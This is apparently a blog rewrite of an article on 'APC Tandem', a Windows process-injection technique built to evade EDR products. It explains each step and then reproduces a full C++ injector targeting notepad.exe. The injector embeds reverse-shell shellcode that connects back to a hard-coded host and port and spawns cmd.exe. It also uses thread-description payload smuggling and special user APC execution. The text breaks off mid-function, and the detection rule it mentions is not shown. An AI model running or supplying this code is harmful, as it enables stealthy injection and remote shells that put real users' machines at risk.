Primitive Process Injection: APC Tandem cover illustration

APC Tandem: A Primitive-Chaining Process Injection That Slips Past Common EDR Triggers

Original source: Primitive Process Injection: APC Tandem by S12 — 0x12Dark Development, published on Medium in May 2026.

This article is an original English rewrite of the technique walkthrough. Code blocks, the PoC screenshot, the Kleenscan scan output and the YARA rule are reproduced verbatim from the source with attribution. Full credit for the technique, code, and detection content belongs to the original author — please read the original article for the author’s own framing and context.

Executive Summary

Modern EDRs have decisively neutered the textbook process-injection recipe — OpenProcess(PROCESS_ALL_ACCESS)VirtualAllocExWriteProcessMemoryCreateRemoteThread. Each of those four calls is heavily hooked, telemetered, or outright blocked in any half-serious endpoint product. The “APC Tandem” technique demonstrated in the source article sidesteps the entire chain by replacing each primitive with a less-instrumented equivalent and stitching them together with two queued APCs per chunk of payload.

The end result is shellcode delivery into a remote process that avoids WriteProcessMemory entirely (the chunks travel via NtSetInformationThread(ThreadNameInformation)GetThreadDescriptionRtlMoveMemory) and avoids CreateRemoteThread entirely (execution kicks off via NtQueueApcThreadEx2 with QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC). This post walks through every step, reproduces the author’s reference implementation verbatim, includes the author’s Kleenscan results, and reproduces the YARA detection rule the author published alongside the technique.

Primitive Process Injection: APC Tandem cover illustration
Cover image from the original article. Source: original article.

Methodology

The classical four-step injection skeleton is well-known to defenders:

  1. Open the target process.
  2. Allocate executable memory inside it.
  3. Write the shellcode into that memory.
  4. Trigger execution.

“APC Tandem” keeps the same four logical steps but rebuilds each one on top of an under-monitored Windows primitive:

  • Open process with the minimum permissions necessary — and only the thread handle you actually need — instead of PROCESS_ALL_ACCESS.
  • Allocate by re-using an already-existing PAGE_EXECUTE_READWRITE region discovered via VirtualQueryEx, falling back to VirtualAllocEx only if no usable RWX region exists.
  • Write the payload by smuggling it through the thread’s description field (NtSetInformationThread(ThreadNameInformation)), then queuing two APCs per chunk: one GetThreadDescription APC that makes the target process itself materialise the chunk in its own address space, then a RtlMoveMemory APC that copies it to the RWX destination.
  • Execute via NtQueueApcThreadEx2 with QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC — a flag that delivers the APC even when the target thread is not in an alertable state.

Implementation

The rest of this article walks through the implementation step by step, then dumps the full reference source. All code blocks are reproduced verbatim from the original article.

Setup helpers

Two small helpers carry the rest of the technique: a function to obtain the remote process’s PEB base address (used to derive an “unused” offset that doubles as an inter-process mailbox) and a target-thread locator. The PEB-unused trick relies on offset 0x340, which on current Windows builds is not used by the loader and can be repurposed as a small scratch pointer.

void* getPEBUnused(HANDLE hProcess) {
    ULONG_PTR peb_addr = GetRemotePEBAddr(hProcess);
    if (!peb_addr) return nullptr;
    const ULONG_PTR UNUSED_OFFSET = 0x340;
    return (void*)(peb_addr + UNUSED_OFFSET);
}

Steps 1 & 2: Open the process and find an RWX region

The opening sequence is deliberately boring from a telemetry perspective. OpenProcess is called with whatever access the rest of the chain needs (the example uses PROCESS_ALL_ACCESS for clarity but the technique works with much narrower rights), and the code looks for a pre-existing RWX region in the target before resorting to VirtualAllocEx:

DWORD pid = getPIDbyProcName("notepad.exe");
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

LPVOID rwx = FindRWX(hProc, sizeof(shellcode));
if (rwx == 0) {
    rwx = VirtualAllocEx(hProc, NULL, sizeof(shellcode),
                          MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
}

FindRWX walks the target’s virtual address space with VirtualQueryEx, looking for committed, private regions whose protection is exactly PAGE_EXECUTE_READWRITE:

PVOID FindRWX(HANDLE pHandle, SIZE_T mSpace = 0) {
    MEMORY_BASIC_INFORMATION mbi = {};
    LPVOID addr = 0;
    while (VirtualQueryEx(pHandle, addr, &mbi, sizeof(mbi))) {
        addr = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
        if (mbi.Protect == PAGE_EXECUTE_READWRITE &&
            mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE) {
            if (mSpace == 0 || mbi.RegionSize > mSpace) {
                return mbi.BaseAddress;
            }
        }
    }
    return NULL;
}

Re-using an existing RWX region is preferred because the VirtualAllocEx call is one of the most heavily-watched edges in the entire injection telemetry surface.

Step 3, part 1: Hiding the shellcode in the thread description

Windows lets a process assign a UTF-16 description to any of its threads. Under the hood this goes through NtSetInformationThread with ThreadInformationClass = ThreadNameInformation (0x26), taking a UNICODE_STRING as the payload. Because the Length field of UNICODE_STRING is a 16-bit value, the description size is capped at 0xFFFF bytes — but the description bytes themselves are arbitrary and persist inside the kernel until either overwritten or queried. The technique uses this description field as a smuggling channel: arbitrary shellcode bytes (including embedded nulls) are placed into the description for the target thread.

A naive call to SetThreadDescription would stop at the first null byte. The author works around that by first allocating a padding buffer full of 'A' bytes, letting RtlInitUnicodeStringEx measure that as a valid wide string, and only then overwriting the buffer with the real payload via memcpy — preserving any null bytes inside:

HRESULT mySetThreadDescription(HANDLE hThread, const BYTE* buf, size_t buf_size) {
    UNICODE_STRING DestinationString = { 0 };
    BYTE* padding = (BYTE*)calloc(buf_size + sizeof(WCHAR), 1);
    if (!padding) return E_OUTOFMEMORY;
    memset(padding, 'A', buf_size);

    // (resolve RtlInitUnicodeStringEx and NtSetInformationThread by GetProcAddress)

    _RtlInitUnicodeStringEx(&DestinationString, (PCWSTR)padding);
    memcpy(DestinationString.Buffer, buf, buf_size); // overwrite with the real payload

    const THREADINFOCLASS ThreadNameInformation = (THREADINFOCLASS)0x26;
    NTSTATUS status = _NtSetInformationThread(
        hThread, ThreadNameInformation, &DestinationString, 0x10
    );

    free(padding);
    return HRESULT_FROM_NT(status);
}

Step 3, part 2: The chunked write loop

Because the UNICODE_STRING.Length field is 16-bit, each “smuggle” can move at most 0xFFFF bytes. The author uses 0xF000 (61,440 bytes) for headroom. For each chunk:

  1. The chunk is stashed in the target thread’s description.
  2. A first APC (GetThreadDescription) is queued — when it executes inside the target, the OS allocates a buffer in the target’s address space, copies the description into it, and the target writes the buffer pointer to a known location (the remotePtr “mailbox” at PEB + 0x340).
  3. The injector reads that pointer back with ReadProcessMemory to learn where the OS placed the chunk.
  4. A second APC (RtlMoveMemory) is queued — when it executes, it copies the chunk from that OS-allocated buffer into the final RWX destination.

The loop body is small and readable:

while (bytesWritten < payload_size) {
    size_t currentChunkSize = min(payload_size - bytesWritten, MAX_BLOCK_SIZE);
    BYTE* currentPayloadPtr = payload + bytesWritten;
    void* currentRemoteDest = (BYTE*)rwx + bytesWritten;

    // 1. Stash the chunk inside the thread description
    mySetThreadDescription(hThread, currentPayloadPtr, currentChunkSize);

    // 2. APC #1 — GetThreadDescription: makes the target allocate a buffer,
    //    copy our chunk into it, and write its address to remotePtr (PEB mailbox)
    _NtQueueApcThreadEx2(hThread, GetThreadDescription,
                          (void*)NtCurrentThread(), remotePtr, nullptr);
    Sleep(10000);

    // 3. Read the mailbox to learn where the OS placed our chunk
    ULONG_PTR realPayloadPtr = 0;
    ReadProcessMemory(hProcess, remotePtr, &realPayloadPtr,
                      sizeof(realPayloadPtr), nullptr);

    // 4. APC #2 — RtlMoveMemory: copy from the OS buffer into our RWX slot
    _NtQueueApcThreadEx2(hThread, pRtlMoveMemory, currentRemoteDest,
                          (void*)realPayloadPtr, (void*)currentChunkSize);

    bytesWritten += currentChunkSize;
    Sleep(1000);
}

The two Sleep calls give each pair of APCs time to fire before the description buffer is recycled for the next chunk. In production code the author notes that fixed sleeps should be replaced with poll-on-mailbox synchronisation.

Step 4: Triggering execution with a Special User APC

Once all chunks are in place at rwx, a single final APC starts execution at the shellcode entrypoint:

BOOL res = _NtQueueApcThreadEx2(hThread, rwx, NULL, NULL, NULL);

The wrapper that resolves and invokes NtQueueApcThreadEx2 with the magic QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC flag is short. The Special User APC variant is critical here because it is delivered even if the target thread is not in an alertable state, which is the typical condition for a long-running GUI thread such as notepad’s main thread:

bool _NtQueueApcThreadEx2(HANDLE hThread, void* func, void* arg0, void* arg1, void* arg2) {
    resolvedNtQueueApcThreadEx2 fNtQueueApcThreadEx2 = (resolvedNtQueueApcThreadEx2)GetProcAddress(
            GetModuleHandleA("ntdll"), "NtQueueApcThreadEx2");

    fNtQueueApcThreadEx2(hThread, NULL, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC,
                          (PPS_APC_ROUTINE)func, arg0, arg1, arg2);
    return true;
}

Code — Full Reference Implementation

The full reference source from the original article — including a 1204-byte Stardust reverse-shell shellcode, all helper functions, the chunked write loop, and the orchestrating main() — is reproduced below verbatim:

#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <TlHelp32.h>

using namespace std;

// Primitive Injection
/* 1st version */
//
// Reverse Shell Stardust shellcode
//
// 1- OpenProcess (lowest permissions)
// 2- Find RWX
// 3- Custom Write with APCs
// 4- Special User APCs

// Alternatives
// Find RWX -> Module Stomping
// Custom Write -> Atom Bombing
// Special User APCs -> Pool Party

unsigned char shellcode[] = {
  0x56, 0x48, 0x89, 0xe6, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20,
  0xe8, 0x15, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf4, 0x5e, 0xc3, 0xe8, 0x01,
  0x00, 0x00, 0x00, 0xc3, 0x48, 0x8b, 0x04, 0x24, 0x48, 0x83, 0xe8, 0x1b,
  0xc3, 0x90, 0x56, 0x48, 0x83, 0xec, 0x60, 0x48, 0x8d, 0x74, 0x24, 0x28,
  0x48, 0x89, 0xf1, 0xe8, 0x6e, 0x02, 0x00, 0x00, 0x48, 0x89, 0xf1, 0xe8,
  0x06, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x60, 0x5e, 0xc3, 0x41, 0x57,
  0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x56, 0x57, 0x55, 0x53, 0x48, 0x81,
  0xec, 0xb8, 0x02, 0x00, 0x00, 0x48, 0x89, 0xce, 0x48, 0x8b, 0x59, 0x18,
  0xe8, 0x8b, 0x04, 0x00, 0x00, 0x48, 0x8d, 0x3d, 0x84, 0x04, 0x00, 0x00,
  0x48, 0x8d, 0x0d, 0x2d, 0x04, 0x00, 0x00, 0x48, 0x29, 0xf9, 0x48, 0x01,
  0xc1, 0xff, 0xd3, 0x49, 0x89, 0xc6, 0x48, 0x8b, 0x5e, 0x18, 0xe8, 0x69,
  0x04, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x1d, 0x04, 0x00, 0x00, 0x48, 0x29,
  0xf9, 0x48, 0x01, 0xc1, 0xff, 0xd3, 0x4d, 0x85, 0xf6, 0x0f, 0x84, 0xb2,
  0x00, 0x00, 0x00, 0x49, 0x89, 0xc4, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xa6,
  0x00, 0x00, 0x00, 0x41, 0xbd, 0x18, 0xb2, 0xc8, 0xa7, 0x49, 0x8d, 0x95,
  0x07, 0x3f, 0x7b, 0x0d, 0x4c, 0x89, 0xf1, 0xe8, 0x16, 0x03, 0x00, 0x00,
  0x48, 0x89, 0xc5, 0xba, 0xc6, 0xeb, 0xa8, 0x0a, 0x4c, 0x89, 0xf1, 0xe8,
  0x06, 0x03, 0x00, 0x00, 0x49, 0x89, 0xc7, 0xba, 0x18, 0xb2, 0xc8, 0xa7,
  0x4c, 0x89, 0xf1, 0xe8, 0xf6, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24,
  0x60, 0xba, 0xb3, 0xd3, 0xa5, 0x52, 0x4c, 0x89, 0xf1, 0xe8, 0xe4, 0x02,
  0x00, 0x00, 0x48, 0x89, 0xc3, 0xba, 0xb5, 0x0b, 0x67, 0x1a, 0x4c, 0x89,
  0xf1, 0xe8, 0xd4, 0x02, 0x00, 0x00, 0x49, 0x89, 0xc6, 0x49, 0x8d, 0x95,
  0x8c, 0x2f, 0x14, 0x22, 0x4c, 0x89, 0xe1, 0xe8, 0xc2, 0x02, 0x00, 0x00,
  0x49, 0x89, 0xc4, 0x48, 0x8b, 0x4e, 0x10, 0x49, 0x81, 0xc5, 0x11, 0xc1,
  0x22, 0x3c, 0x4c, 0x89, 0xea, 0xe8, 0xac, 0x02, 0x00, 0x00, 0x48, 0x89,
  0x44, 0x24, 0x58, 0xe8, 0xbc, 0x03, 0x00, 0x00, 0x49, 0x89, 0xc5, 0xe8,
  0xb4, 0x03, 0x00, 0x00, 0x48, 0x89, 0xc6, 0x48, 0x8d, 0x94, 0x24, 0x20,
  0x01, 0x00, 0x00, 0x66, 0xb9, 0x02, 0x02, 0xff, 0xd5, 0x85, 0xc0, 0x74,
  0x14, 0x48, 0x81, 0xc4, 0xb8, 0x02, 0x00, 0x00, 0x5b, 0x5d, 0x5f, 0x5e,
  0x41, 0x5c, 0x41, 0x5d, 0x41, 0x5e, 0x41, 0x5f, 0xc3, 0x31, 0xc0, 0x89,
  0x44, 0x24, 0x28, 0x89, 0x44, 0x24, 0x20, 0xb9, 0x02, 0x00, 0x00, 0x00,
  0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x06, 0x00, 0x00, 0x00, 0x45,
  0x31, 0xc9, 0x41, 0xff, 0xd7, 0x48, 0x83, 0xf8, 0xff, 0x74, 0xc6, 0x49,
  0x89, 0xc7, 0x48, 0x8d, 0x05, 0x21, 0x03, 0x00, 0x00, 0x48, 0x29, 0xf8,
  0x49, 0x01, 0xc5, 0x48, 0x8d, 0x05, 0x22, 0x03, 0x00, 0x00, 0x48, 0x29,
  0xf8, 0x48, 0x01, 0xc6, 0x48, 0x8d, 0x6c, 0x24, 0x68, 0x66, 0xc7, 0x45,
  0x00, 0x02, 0x00, 0x48, 0x89, 0xf1, 0x41, 0xff, 0xd4, 0x89, 0xc1, 0x41,
  0xff, 0xd6, 0x66, 0x89, 0x45, 0x02, 0x4c, 0x89, 0xe9, 0xff, 0xd3, 0x89,
  0x45, 0x04, 0x31, 0xc0, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x89, 0x44,
  0x24, 0x28, 0x48, 0x89, 0x44, 0x24, 0x20, 0x4c, 0x89, 0xf9, 0x48, 0x89,
  0xea, 0x41, 0xb8, 0x10, 0x00, 0x00, 0x00, 0x45, 0x31, 0xc9, 0xff, 0x54,
  0x24, 0x60, 0x83, 0xf8, 0xff, 0x0f, 0x84, 0x5a, 0xff, 0xff, 0xff, 0x45,
  0x31, 0xc9, 0x4c, 0x8d, 0x84, 0x24, 0xb8, 0x00, 0x00, 0x00, 0xb9, 0x14,
  0x00, 0x00, 0x00, 0x31, 0xc0, 0x4c, 0x89, 0xc7, 0xf3, 0xab, 0x48, 0x8d,
  0x44, 0x24, 0x78, 0x4c, 0x89, 0x48, 0x10, 0x4c, 0x89, 0x48, 0x08, 0x4c,
  0x89, 0x08, 0x41, 0xc7, 0x00, 0x68, 0x00, 0x00, 0x00, 0x41, 0xc7, 0x40,
  0x3c, 0x01, 0x01, 0x00, 0x00, 0x4d, 0x89, 0x78, 0x60, 0x4d, 0x89, 0x78,
  0x58, 0x4d, 0x89, 0x78, 0x50, 0x48, 0xb9, 0x6d, 0x33, 0x32, 0x5c, 0x63,
  0x6d, 0x64, 0x2e, 0x48, 0x8d, 0x94, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48,
  0x89, 0x4a, 0x10, 0x48, 0xb9, 0x77, 0x73, 0x5c, 0x53, 0x79, 0x73, 0x74,
  0x65, 0x48, 0x89, 0x4a, 0x08, 0x48, 0xb9, 0x43, 0x3a, 0x5c, 0x57, 0x69,
  0x6e, 0x64, 0x6f, 0x48, 0x89, 0x0a, 0xc7, 0x42, 0x18, 0x65, 0x78, 0x65,
  0x00, 0x48, 0x89, 0x44, 0x24, 0x48, 0x4c, 0x89, 0x44, 0x24, 0x40, 0x4c,
  0x89, 0x4c, 0x24, 0x38, 0x4c, 0x89, 0x4c, 0x24, 0x30, 0xc7, 0x44, 0x24,
  0x28, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x20, 0x01, 0x00, 0x00,
  0x00, 0x31, 0xc9, 0x45, 0x31, 0xc0, 0x45, 0x31, 0xc9, 0xff, 0x54, 0x24,
  0x58, 0xe9, 0xab, 0xfe, 0xff, 0xff, 0x56, 0x57, 0x48, 0x83, 0xec, 0x28,
  0x48, 0x89, 0xce, 0x31, 0xc0, 0x48, 0x89, 0x41, 0x10, 0x48, 0x89, 0x41,
  0x08, 0x48, 0x89, 0x01, 0xb9, 0xef, 0xe9, 0x6c, 0xe9, 0x48, 0x89, 0x4e,
  0x18, 0x48, 0xc7, 0x46, 0x20, 0x05, 0x18, 0xd7, 0x12, 0x48, 0x89, 0x46,
  0x28, 0xe8, 0x40, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x06, 0xe8, 0x12, 0x02,
  0x00, 0x00, 0x48, 0x2b, 0x06, 0x48, 0x83, 0xc0, 0x10, 0x48, 0x89, 0x46,
  0x08, 0xb9, 0xbb, 0x70, 0x53, 0x14, 0xe8, 0x52, 0x00, 0x00, 0x00, 0x48,
  0x89, 0x46, 0x28, 0x48, 0x85, 0xc0, 0x74, 0x42, 0xb9, 0x63, 0xd4, 0xcd,
  0x29, 0xe8, 0x3f, 0x00, 0x00, 0x00, 0x48, 0x89, 0x46, 0x10, 0x48, 0x85,
  0xc0, 0x74, 0x2f, 0x48, 0x8b, 0x4e, 0x28, 0x48, 0x8b, 0x56, 0x30, 0xe8,
  0xba, 0x00, 0x00, 0x00, 0x48, 0x89, 0x46, 0x30, 0x31, 0xff, 0x48, 0x8b,
  0x4e, 0x10, 0x48, 0x8b, 0x54, 0xfe, 0x18, 0xe8, 0xa6, 0x00, 0x00, 0x00,
  0x48, 0x89, 0x44, 0xfe, 0x18, 0x48, 0xff, 0xc7, 0x48, 0x83, 0xff, 0x02,
  0x75, 0xe4, 0x48, 0x83, 0xc4, 0x28, 0x5f, 0x5e, 0xc3, 0x56, 0x57, 0x55,
  0x53, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x30, 0x00, 0x00, 0x00, 0x48, 0x8b,
  0x40, 0x60, 0x4c, 0x8b, 0x40, 0x18, 0x49, 0x8b, 0x50, 0x10, 0x49, 0x83,
  0xc0, 0x10, 0x31, 0xc0, 0x41, 0xba, 0xff, 0x00, 0x00, 0x00, 0x49, 0x89,
  0xd3, 0x4d, 0x39, 0xd8, 0x74, 0x5f, 0x85, 0xc9, 0x74, 0x54, 0x4d, 0x89,
  0xd9, 0x4d, 0x8b, 0x5b, 0x60, 0x41, 0x0f, 0xb7, 0x3b, 0x66, 0x85, 0xff,
  0x74, 0x36, 0x49, 0x83, 0xc3, 0x02, 0xbe, 0xc5, 0x9d, 0x1c, 0x81, 0x0f,
  0xb7, 0xdf, 0x44, 0x21, 0xd7, 0x8d, 0xab, 0xe0, 0x00, 0x00, 0x00, 0x66,
  0x83, 0xff, 0x61, 0x0f, 0x42, 0xeb, 0x44, 0x21, 0xd5, 0x31, 0xf5, 0x69,
  0xf5, 0x93, 0x01, 0x00, 0x01, 0x41, 0x0f, 0xb7, 0x3b, 0x49, 0x83, 0xc3,
  0x02, 0x66, 0x85, 0xff, 0x75, 0xd5, 0xeb, 0x05, 0xbe, 0xc5, 0x9d, 0x1c,
  0x81, 0x4d, 0x8b, 0x19, 0x39, 0xce, 0x75, 0xa5, 0xeb, 0x03, 0x49, 0x89,
  0xd1, 0x49, 0x8b, 0x41, 0x30, 0x5b, 0x5d, 0x5f, 0x5e, 0xc3, 0x41, 0x56,
  0x56, 0x57, 0x55, 0x53, 0x0f, 0xb7, 0x01, 0x3d, 0x4d, 0x5a, 0x00, 0x00,
  0x0f, 0x85, 0x99, 0x00, 0x00, 0x00, 0x48, 0x63, 0x41, 0x3c, 0x81, 0x3c,
  0x08, 0x50, 0x45, 0x00, 0x00, 0x0f, 0x85, 0x88, 0x00, 0x00, 0x00, 0x8b,
  0x84, 0x08, 0x88, 0x00, 0x00, 0x00, 0x44, 0x8b, 0x44, 0x08, 0x18, 0x4d,
  0x85, 0xc0, 0x74, 0x77, 0x44, 0x8b, 0x4c, 0x08, 0x20, 0x49, 0x01, 0xc9,
  0x44, 0x8b, 0x54, 0x08, 0x1c, 0x49, 0x01, 0xca, 0x44, 0x8b, 0x5c, 0x08,
  0x24, 0x49, 0x01, 0xcb, 0x31, 0xc0, 0x31, 0xf6, 0x41, 0x8b, 0x3c, 0xb1,
  0x44, 0x8a, 0x34, 0x0f, 0x45, 0x84, 0xf6, 0x74, 0x38, 0x48, 0x01, 0xcf,
  0x48, 0xff, 0xc7, 0xbb, 0xc5, 0x9d, 0x1c, 0x81, 0x41, 0x8d, 0x6e, 0xe0,
  0x41, 0x80, 0xfe, 0x61, 0x45, 0x0f, 0xb6, 0xf6, 0x40, 0x0f, 0xb6, 0xed,
  0x41, 0x0f, 0x42, 0xee, 0x40, 0x0f, 0xb6, 0xed, 0x31, 0xdd, 0x69, 0xdd,
  0x93, 0x01, 0x00, 0x01, 0x44, 0x8a, 0x37, 0x48, 0xff, 0xc7, 0x45, 0x84,
  0xf6, 0x75, 0xd5, 0xeb, 0x05, 0xbb, 0xc5, 0x9d, 0x1c, 0x81, 0x89, 0xdf,
  0x48, 0x39, 0xd7, 0x74, 0x13, 0x48, 0xff, 0xc6, 0x4c, 0x39, 0xc6, 0x75,
  0xa7, 0xeb, 0x02, 0x31, 0xc0, 0x5b, 0x5d, 0x5f, 0x5e, 0x41, 0x5e, 0xc3,
  0x41, 0x0f, 0xb7, 0x04, 0x73, 0x41, 0x8b, 0x04, 0x82, 0x48, 0x01, 0xc8,
  0xeb, 0xeb, 0x66, 0x0f, 0x1f, 0x44, 0x00, 0x00, 0x77, 0x73, 0x32, 0x5f,
  0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00, 0x6d, 0x73, 0x76, 0x63, 0x72,
  0x74, 0x2e, 0x64, 0x6c, 0x6c, 0x00, 0x31, 0x39, 0x32, 0x2e, 0x31, 0x36,
  0x38, 0x2e, 0x31, 0x2e, 0x31, 0x32, 0x38, 0x00, 0x31, 0x32, 0x31, 0x32,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x3a, 0x5c, 0x57,
  0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x5c, 0x53, 0x79, 0x73, 0x74, 0x65,
  0x6d, 0x33, 0x32, 0x5c, 0x63, 0x6d, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x00,
  0x0f, 0x1f, 0x40, 0x00, 0xe8, 0x01, 0x00, 0x00, 0x00, 0xc3, 0x48, 0x8b,
  0x04, 0x24, 0x48, 0x83, 0xe8, 0x05, 0xc3, 0x90
};

typedef PVOID PPS_APC_ROUTINE;

typedef NTSTATUS(NTAPI* pNtQueueApcThreadEx2_FIXED)(
    _In_ HANDLE ThreadHandle,
    _In_opt_ HANDLE ReserveHandle,
    _In_ ULONG ApcFlags,
    _In_ PPS_APC_ROUTINE ApcRoutine,
    _In_opt_ PVOID ApcArgument1,
    _In_opt_ PVOID ApcArgument2,
    _In_opt_ PVOID ApcArgument3
    );

typedef NTSTATUS(WINAPI* PFN_NT_QUERY_SYSTEM_INFORMATION)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
    );

using resolvedNtQueueApcThreadEx2 = NTSTATUS(NTAPI*)(
    HANDLE ThreadHandle,
    HANDLE ReserveHandle,
    ULONG ApcFlags,
    PPS_APC_ROUTINE ApcRoutine,
    PVOID ApcArgument1,
    PVOID ApcArgument2,
    PVOID ApcArgument3
    );

bool _NtQueueApcThreadEx2(HANDLE hThread, void* func, void* arg0, void* arg1, void* arg2)
{
 resolvedNtQueueApcThreadEx2 fNtQueueApcThreadEx2 = (resolvedNtQueueApcThreadEx2)(GetProcAddress(GetModuleHandleA("ntdll"), "NtQueueApcThreadEx2"));

 DWORD res = fNtQueueApcThreadEx2(hThread, NULL, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, (PPS_APC_ROUTINE)func, (void*)arg0, (void*)arg1, (arg2));
 return true;
}

#define NtCurrentThread() ((HANDLE)(LONG_PTR)-2)

HANDLE GetThreadIdByProcess(HANDLE hProcess = NULL, DWORD pid = 0)
{
 // If a process handle was provided, obtain its PID.
 if (hProcess != NULL)
 {
  pid = GetProcessId(hProcess);
  if (pid == 0)
   return 0;
 }

 // If no valid PID is available, fail.
 if (pid == 0)
  return 0;

 DWORD threadId = 0;

 // Take a snapshot of all threads in the system.
 HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
 if (hSnap == INVALID_HANDLE_VALUE)
  return 0;

 THREADENTRY32 te32;
 te32.dwSize = sizeof(THREADENTRY32);

 HANDLE hThread = NULL;
 // Enumerate threads and locate the first one owned by the target PID.
 if (Thread32First(hSnap, &te32))
 {
  do
  {
   if (te32.th32OwnerProcessID == pid)
   {
    threadId = te32.th32ThreadID;
    hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);
    break;
   }
  } while (Thread32Next(hSnap, &te32));
 }

 CloseHandle(hSnap);
 return hThread;
}

int getPIDbyProcName(const string& procName) {
    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap == INVALID_HANDLE_VALUE) {
        return 0;
    }
    PROCESSENTRY32W pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32W);
    if (Process32FirstW(hSnap, &pe32) != FALSE) {
        wstring wideProcName(procName.begin(), procName.end());
        do {
            if (_wcsicmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
                pid = pe32.th32ProcessID;
                break;
            }
        } while (Process32NextW(hSnap, &pe32) != FALSE);
    }

    CloseHandle(hSnap);
    return pid;
}

PVOID FindRWX(HANDLE pHandle, SIZE_T mSpace = 0) {
    MEMORY_BASIC_INFORMATION mbi = {};
    LPVOID addr = 0;

    while (VirtualQueryEx(pHandle, addr, &mbi, sizeof(mbi))) {
        addr = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
        if (mbi.Protect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE) {
            if (mSpace == 0) {
                return mbi.BaseAddress;
            }
            else {
                if (mbi.RegionSize > mSpace) {
                    return mbi.BaseAddress;
                }
                else {
                    return NULL;

                }
            }
        }
    }
    return NULL;
}

HRESULT mySetThreadDescription(HANDLE hThread, const BYTE* buf, size_t buf_size)
{
 typedef NTSTATUS(NTAPI* pRtlInitUnicodeStringEx)(
  PUNICODE_STRING DestinationString,
  PCWSTR SourceString
  );
 typedef NTSTATUS(NTAPI* pNtSetInformationThread)(
  HANDLE ThreadHandle,
  THREADINFOCLASS ThreadInformationClass,
  PVOID ThreadInformation,
  ULONG ThreadInformationLength
  );

 UNICODE_STRING DestinationString = { 0 };

 // Create temporary buffer without null bytes
 BYTE* padding = (BYTE*)calloc(buf_size + sizeof(WCHAR), 1);
 if (!padding) return E_OUTOFMEMORY;
 memset(padding, 'A', buf_size);

 HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
 auto _RtlInitUnicodeStringEx = (pRtlInitUnicodeStringEx)GetProcAddress(hNtdll, "RtlInitUnicodeStringEx");
 auto _NtSetInformationThread = (pNtSetInformationThread)GetProcAddress(hNtdll, "NtSetInformationThread");

 if (!_RtlInitUnicodeStringEx || !_NtSetInformationThread) {
  free(padding);
  return E_FAIL;
 }

 // Initialize with padding
 _RtlInitUnicodeStringEx(&DestinationString, (PCWSTR)padding);

 // Overwrite with real payload (including null bytes)
 memcpy(DestinationString.Buffer, buf, buf_size);

 // Call NtSetInformationThread directly
 const THREADINFOCLASS ThreadNameInformation = (THREADINFOCLASS)0x26;
 NTSTATUS status = _NtSetInformationThread(
  hThread,
  ThreadNameInformation,
  &DestinationString,
  0x10
 );

 /* NTSTATUS status = _NtSetInformationThread(
  hThread,
  ThreadNameInformation,
  &DestinationString,
  sizeof(UNICODE_STRING)
 );*/

 free(padding);
 return HRESULT_FROM_NT(status);
}

LPVOID CustomWriteProcessMemory(HANDLE hProcess, BYTE* payload, size_t payload_size, LPVOID remotePtr, HANDLE hThread, LPVOID rwx) {
 if (rwx == 0) {
  cout << "NO RWX SPACE available" << endl;
 }
 HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
 void* pRtlMoveMemory = (void*)GetProcAddress(hNtdll, "RtlMoveMemory");
 if (!pRtlMoveMemory) return nullptr;

 // ---------------------------------------------------------
 // CHUNKING LOOP LOGIC
 // ---------------------------------------------------------
 // Define a safe block size.
 // Must be LESS than 65535. Using 0x8000 (32768 bytes) for safety margin.
 //const size_t MAX_BLOCK_SIZE = 0x8000;

 // 49,152
 //const size_t MAX_BLOCK_SIZE = 0xC000;

 // 61,440
 const size_t MAX_BLOCK_SIZE = 0xF000;

 size_t bytesWritten = 0;

 while (bytesWritten < payload_size) {
  // 1. Calculate current chunk size
  size_t remaining = payload_size - bytesWritten;
  size_t currentChunkSize = (remaining > MAX_BLOCK_SIZE) ? MAX_BLOCK_SIZE : remaining;

  // Pointer to the start of the current chunk in YOUR memory
  BYTE* currentPayloadPtr = payload + bytesWritten;

  // Pointer to the destination in REMOTE memory (advancing the rwx pointer)
  void* currentRemoteDest = (BYTE*)rwx + bytesWritten;

  std::cout << "[*] Processing chunk: " << currentChunkSize << " bytes..." << std::endl;

  // 2. Use your original function to set this chunk in the thread description
  HRESULT hr = mySetThreadDescription(hThread, currentPayloadPtr, currentChunkSize);
  if (FAILED(hr)) {
   std::cerr << "SetThreadDescription failed on chunk! HR: " << std::hex << hr << "\n";
   return nullptr;
  }

